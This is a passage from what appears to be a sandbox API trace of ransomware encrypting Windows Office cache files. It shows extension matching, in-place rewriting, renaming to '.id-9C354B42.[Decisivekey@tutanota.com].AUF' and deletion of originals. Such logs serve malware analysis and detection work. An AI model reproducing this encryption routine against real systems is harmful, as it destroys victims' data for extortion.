Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0212.330] lstrlenW (lpString=".dbf") returned 4 [0212.330] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0212.330] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0212.330] lstrlenW (lpString=".1cd") returned 4 [0212.330] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0212.330] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0212.330] lstrlenW (lpString=".jpg") returned 4 [0212.330] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0212.330] lstrcmpiW (lpString1=".manifest", lpString2=".AUF") returned 1 [0212.330] lstrlenW (lpString="Microsoft.VC90.CRT.manifest") returned 27 [0212.330] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0212.673] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=1857) returned 1 [0212.673] CloseHandle (hObject=0x1e4) returned 1 [0212.673] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 0x2020 [0212.673] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.673] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0212.673] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.673] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.673] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0212.673] GetLastError () returned 0x0 [0212.673] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x741, lpOverlapped=0x0) returned 1 [0212.722] WriteFile (in: hFile=0x194, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x750, lpOverlapped=0x0) returned 1 [0212.723] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.723] WriteFile (in: hFile=0x194, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x10a, lpOverlapped=0x0) returned 1 [0212.723] SetEndOfFile (hFile=0x194) returned 1 [0212.737] CloseHandle (hObject=0x194) returned 1 [0212.737] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.737] SetEndOfFile (hFile=0x1e4) returned 1 [0212.738] CloseHandle (hObject=0x1e4) returned 1 [0212.738] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0212.738] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 1 [0212.985] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0212.985] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0212.985] lstrlenW (lpString=".doc") returned 4 [0212.985] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0212.985] lstrlenW (lpString=".docx") returned 5 [0212.985] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0212.985] lstrlenW (lpString=".pdf") returned 4 [0212.985] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0212.985] lstrlenW (lpString=".xls") returned 4 [0212.985] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0212.985] lstrlenW (lpString=".xlsx") returned 5 [0212.985] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0212.985] lstrlenW (lpString=".ppt") returned 4 [0212.985] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0212.985] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0212.985] lstrlenW (lpString=".zip") returned 4 [0212.985] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0212.985] lstrlenW (lpString=".rar") returned 4 [0212.985] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0212.985] lstrlenW (lpString=".bz2") returned 4 [0212.985] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0212.985] lstrlenW (lpString=".7z") returned 3 [0212.985] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0212.985] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0212.985] lstrlenW (lpString=".dbf") returned 4 [0212.985] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0212.985] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0212.985] lstrlenW (lpString=".1cd") returned 4 [0212.985] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0212.985] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0212.986] lstrlenW (lpString=".jpg") returned 4 [0212.986] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0212.986] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0212.986] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0212.986] lstrlenW (lpString=".doc") returned 4 [0212.986] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0212.986] lstrlenW (lpString=".docx") returned 5 [0212.986] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0212.986] lstrlenW (lpString=".pdf") returned 4 [0212.986] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0212.986] lstrlenW (lpString=".xls") returned 4 [0212.986] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0212.986] lstrlenW (lpString=".xlsx") returned 5 [0212.986] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0212.986] lstrlenW (lpString=".ppt") returned 4 [0212.986] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0212.986] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0212.986] lstrlenW (lpString=".zip") returned 4 [0212.986] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0212.986] lstrlenW (lpString=".rar") returned 4 [0212.986] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0212.986] lstrlenW (lpString=".bz2") returned 4 [0212.986] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0212.986] lstrlenW (lpString=".7z") returned 3 [0212.986] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0212.986] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0212.986] lstrlenW (lpString=".dbf") returned 4 [0212.986] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0212.986] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0212.986] lstrlenW (lpString=".1cd") returned 4 [0212.986] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0212.986] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0212.986] lstrlenW (lpString=".jpg") returned 4 [0212.986] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0212.986] lstrcmpiW (lpString1=".msi", lpString2=".AUF") returned 1 [0212.986] lstrlenW (lpString="OfficeMUI.msi") returned 13 [0212.986] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0212.987] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=3702272) returned 1 [0212.987] CloseHandle (hObject=0x180) returned 1 [0212.987] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi")) returned 0x2020 [0212.987] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.987] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0212.987] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0212.987] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0x0) returned 1 [0212.987] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0212.987] ReadFile (in: hFile=0x180, lpBuffer=0x3a10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a10058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.124] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0213.124] ReadFile (in: hFile=0x180, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.277] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0213.277] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0213.277] ReadFile (in: hFile=0x180, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.312] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.312] WriteFile (in: hFile=0x180, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x2e5fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0213.329] SetEndOfFile (hFile=0x180) returned 1 [0213.505] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0213.505] WriteFile (in: hFile=0x180, lpBuffer=0x3fa1068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa1068*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0213.508] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0213.508] WriteFile (in: hFile=0x180, lpBuffer=0x3fa1068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa1068*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0213.515] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0213.515] WriteFile (in: hFile=0x180, lpBuffer=0x3fa1068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa1068*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0213.517] CloseHandle (hObject=0x180) returned 1 [0213.517] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0213.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0213.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0213.517] lstrlenW (lpString=".doc") returned 4 [0213.517] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0213.518] lstrlenW (lpString=".docx") returned 5 [0213.518] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0213.518] lstrlenW (lpString=".pdf") returned 4 [0213.518] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0213.518] lstrlenW (lpString=".xls") returned 4 [0213.518] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0213.518] lstrlenW (lpString=".xlsx") returned 5 [0213.518] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0213.518] lstrlenW (lpString=".ppt") returned 4 [0213.518] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0213.518] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0213.518] lstrlenW (lpString=".zip") returned 4 [0213.518] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0213.518] lstrlenW (lpString=".rar") returned 4 [0213.518] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0213.518] lstrlenW (lpString=".bz2") returned 4 [0213.518] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0213.518] lstrlenW (lpString=".7z") returned 3 [0213.518] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0213.518] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0213.518] lstrlenW (lpString=".dbf") returned 4 [0213.518] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0213.518] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0213.518] lstrlenW (lpString=".1cd") returned 4 [0213.518] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0213.518] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0213.518] lstrlenW (lpString=".jpg") returned 4 [0213.518] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0213.518] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0213.518] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0213.518] lstrlenW (lpString=".doc") returned 4 [0213.518] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0213.518] lstrlenW (lpString=".docx") returned 5 [0213.518] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0213.518] lstrlenW (lpString=".pdf") returned 4 [0213.518] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0213.518] lstrlenW (lpString=".xls") returned 4 [0213.518] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0213.518] lstrlenW (lpString=".xlsx") returned 5 [0213.518] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0213.518] lstrlenW (lpString=".ppt") returned 4 [0213.519] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0213.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0213.519] lstrlenW (lpString=".zip") returned 4 [0213.519] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0213.519] lstrlenW (lpString=".rar") returned 4 [0213.519] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0213.519] lstrlenW (lpString=".bz2") returned 4 [0213.519] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0213.519] lstrlenW (lpString=".7z") returned 3 [0213.519] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0213.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0213.519] lstrlenW (lpString=".dbf") returned 4 [0213.519] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0213.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0213.519] lstrlenW (lpString=".1cd") returned 4 [0213.519] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0213.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0213.519] lstrlenW (lpString=".jpg") returned 4 [0213.519] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0213.519] lstrcmpiW (lpString1=".msi", lpString2=".AUF") returned 1 [0213.519] lstrlenW (lpString="Office32WW.msi") returned 14 [0213.519] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0213.519] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=1992192) returned 1 [0213.519] CloseHandle (hObject=0x180) returned 1 [0213.519] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0213.519] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.520] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0213.520] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0213.520] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0x0) returned 1 [0213.520] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0213.520] ReadFile (in: hFile=0x180, lpBuffer=0x3a10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a10058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.604] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0213.604] ReadFile (in: hFile=0x180, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.639] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0213.639] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0213.639] ReadFile (in: hFile=0x180, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.654] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.654] WriteFile (in: hFile=0x180, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2e5fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0213.673] SetEndOfFile (hFile=0x180) returned 1 [0213.810] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0213.810] WriteFile (in: hFile=0x180, lpBuffer=0x3fa1068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa1068*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0213.811] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0213.811] WriteFile (in: hFile=0x180, lpBuffer=0x3fa1068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa1068*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0213.813] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0213.813] WriteFile (in: hFile=0x180, lpBuffer=0x3fa1068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa1068*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0213.815] CloseHandle (hObject=0x180) returned 1 [0213.815] SetFileAttributesW 